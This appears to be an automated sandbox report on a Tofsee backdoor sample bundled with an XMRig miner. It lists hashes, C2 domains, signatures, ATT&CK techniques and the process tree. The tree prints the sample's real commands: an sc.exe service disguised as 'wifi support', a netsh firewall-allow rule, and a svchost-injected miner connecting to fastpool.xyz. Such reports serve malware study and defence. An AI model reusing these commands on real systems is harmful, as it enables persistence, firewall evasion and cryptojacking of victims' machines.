Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    06-06-2022 04:53

General

  • Target

    496ccfcd152674b9087af66d619a6839e498a154e0c16cc24505f6a1bfdc4a21.exe

  • Size

    262KB

  • MD5

    a7a99164c3bbe973494d4314e0fb56d2

  • SHA1

    95ef22c2f003bf7542ffd1a6550df3c797288bc6

  • SHA256

    496ccfcd152674b9087af66d619a6839e498a154e0c16cc24505f6a1bfdc4a21

  • SHA512

    85fa2dee741f87047b5389e7c41054bbf39cdb3acfdb7d515db8dfd62f200fba875a63fb65eeebe670a5cf3b4fb6841373002afaaafdc21e068f106cc025980f

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\496ccfcd152674b9087af66d619a6839e498a154e0c16cc24505f6a1bfdc4a21.exe
    "C:\Users\Admin\AppData\Local\Temp\496ccfcd152674b9087af66d619a6839e498a154e0c16cc24505f6a1bfdc4a21.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4024
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\sefmyfn\
      2⤵
        PID:1684
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ctnnyfdw.exe" C:\Windows\SysWOW64\sefmyfn\
        2⤵
          PID:2500
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create sefmyfn binPath= "C:\Windows\SysWOW64\sefmyfn\ctnnyfdw.exe /d\"C:\Users\Admin\AppData\Local\Temp\496ccfcd152674b9087af66d619a6839e498a154e0c16cc24505f6a1bfdc4a21.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3068
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description sefmyfn "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4544
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start sefmyfn
          2⤵
          • Launches sc.exe
          PID:3260
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3228
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4024 -s 1040
          2⤵
          • Program crash
          PID:1228
      • C:\Windows\SysWOW64\sefmyfn\ctnnyfdw.exe
        C:\Windows\SysWOW64\sefmyfn\ctnnyfdw.exe /d"C:\Users\Admin\AppData\Local\Temp\496ccfcd152674b9087af66d619a6839e498a154e0c16cc24505f6a1bfdc4a21.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4796
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1400
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4732
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4796 -s 512
          2⤵
          • Program crash
          PID:5084
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4024 -ip 4024
        1⤵
          PID:3232
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4796 -ip 4796
          1⤵
            PID:3216

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\ctnnyfdw.exe
            Filesize

            10.9MB

            MD5

            d72efc10cf971de0213813a7bb4fd9cd

            SHA1

            64627327ea07234ad7e8993fd64155c7c712a0e5

            SHA256

            b1879c4bbf1a0b4e6e60c7aeaa66b59b067e193ee60583f4ec36134985a8f327

            SHA512

            7667b612604dfb333eab8cc6476d30e5dcd720aa59d3e691cc19bb2f167a731d34505ad5da53db40cb7ae83707e857c037c81555ea56c0e76d0046fe971f4159

          • C:\Windows\SysWOW64\sefmyfn\ctnnyfdw.exe
            Filesize

            10.9MB

            MD5

            d72efc10cf971de0213813a7bb4fd9cd

            SHA1

            64627327ea07234ad7e8993fd64155c7c712a0e5

            SHA256

            b1879c4bbf1a0b4e6e60c7aeaa66b59b067e193ee60583f4ec36134985a8f327

            SHA512

            7667b612604dfb333eab8cc6476d30e5dcd720aa59d3e691cc19bb2f167a731d34505ad5da53db40cb7ae83707e857c037c81555ea56c0e76d0046fe971f4159

          • memory/1400-157-0x0000000001F60000-0x0000000001F70000-memory.dmp
            Filesize

            64KB

          • memory/1400-154-0x0000000001F50000-0x0000000001F56000-memory.dmp
            Filesize

            24KB

          • memory/1400-144-0x0000000000AE0000-0x0000000000AF5000-memory.dmp
            Filesize

            84KB

          • memory/1400-148-0x0000000000AE0000-0x0000000000AF5000-memory.dmp
            Filesize

            84KB

          • memory/1400-166-0x0000000002BD0000-0x0000000002BD7000-memory.dmp
            Filesize

            28KB

          • memory/1400-163-0x0000000007680000-0x0000000007A8B000-memory.dmp
            Filesize

            4.0MB

          • memory/1400-151-0x0000000002800000-0x0000000002A0F000-memory.dmp
            Filesize

            2.1MB

          • memory/1400-143-0x0000000000000000-mapping.dmp
          • memory/1400-150-0x0000000000AE0000-0x0000000000AF5000-memory.dmp
            Filesize

            84KB

          • memory/1400-160-0x0000000001FF0000-0x0000000001FF5000-memory.dmp
            Filesize

            20KB

          • memory/1684-133-0x0000000000000000-mapping.dmp
          • memory/2500-134-0x0000000000000000-mapping.dmp
          • memory/3068-135-0x0000000000000000-mapping.dmp
          • memory/3228-140-0x0000000000000000-mapping.dmp
          • memory/3260-138-0x0000000000000000-mapping.dmp
          • memory/4024-131-0x0000000002E20000-0x0000000002E33000-memory.dmp
            Filesize

            76KB

          • memory/4024-142-0x0000000000400000-0x0000000002DB9000-memory.dmp
            Filesize

            41.7MB

          • memory/4024-130-0x0000000002EA2000-0x0000000002EB2000-memory.dmp
            Filesize

            64KB

          • memory/4024-141-0x0000000002EA2000-0x0000000002EB2000-memory.dmp
            Filesize

            64KB

          • memory/4024-132-0x0000000000400000-0x0000000002DB9000-memory.dmp
            Filesize

            41.7MB

          • memory/4544-137-0x0000000000000000-mapping.dmp
          • memory/4732-175-0x0000000000E00000-0x0000000000EF1000-memory.dmp
            Filesize

            964KB

          • memory/4732-169-0x0000000000000000-mapping.dmp
          • memory/4732-170-0x0000000000E00000-0x0000000000EF1000-memory.dmp
            Filesize

            964KB

          • memory/4796-149-0x0000000000400000-0x0000000002DB9000-memory.dmp
            Filesize

            41.7MB

          • memory/4796-147-0x0000000002F5E000-0x0000000002F6E000-memory.dmp
            Filesize

            64KB